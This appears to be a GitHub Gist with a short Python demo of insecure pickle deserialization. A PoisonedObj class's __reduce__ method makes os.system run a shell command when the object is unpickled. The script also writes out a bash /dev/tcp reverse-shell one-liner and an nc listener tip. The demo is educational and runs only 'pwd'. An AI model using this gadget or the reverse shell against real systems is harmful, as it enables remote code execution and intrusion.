Created
June 17, 2020 18:41
-
-
Save redwrasse/2afb67e138dd2c5ddb49f3e5f94c487a to your computer and use it in GitHub Desktop.
example deserialization attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# insecure_deserialization.py | |
""" | |
as stated in the docs (https://docs.python.org/3/library/pickle.html): | |
'Warning The pickle module is not secure. Only unpickle data you trust.' | |
""" | |
import os | |
import pickle | |
DANGEROUS_SHELL_COMMAND = 'pwd' # insert dangerous system command; | |
# for example open a reverse shell | |
# attacker server for example can listen with nc -l 1337 | |
ATTACKER_SERVER = 'localhost' | |
ATTACKER_PORT = 1337 | |
REVERSE_SHELL_COMMAND = f'bash -i >& /dev/tcp/{ATTACKER_SERVER}/{ATTACKER_PORT} 0>&1' | |
class SimpleObj: | |
def __init__(self, data): | |
self.data = data | |
class PoisonedObj: | |
""" | |
Forces code execution upon deserialization | |
""" | |
def __init__(self, shell_command): | |
self.shell_command = shell_command | |
def __reduce__(self): | |
print("(__reduce__ op running shell command)") | |
return os.system, (self.shell_command,) | |
def run_workflow(): | |
# dumps converts SimpleObj instance to byte stream (serialization) | |
print("Running `pickle.dumps` to convert SimpleObj instance to a byte stream (serializing)...") | |
pickledObj = pickle.dumps(SimpleObj(data='foo')) | |
# loads converts byte stream back to obj instance (deserialization) | |
print("Converting byte stream back to obj instance (deserializing) with `pickle.loads`...") | |
deserializedObj = pickle.loads(pickledObj) | |
print("----") | |
print("Now running malicious code example:") | |
print("Serializing PoisonedObj...") | |
poisonedObj = PoisonedObj(shell_command=DANGEROUS_SHELL_COMMAND) | |
pickledPoisonedObj = pickle.dumps(poisonedObj) | |
print("Deserializing PoisonedObj...") | |
deserializedPoisonedObj = pickle.loads(pickledPoisonedObj) | |
if __name__ == "__main__": | |
run_workflow() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment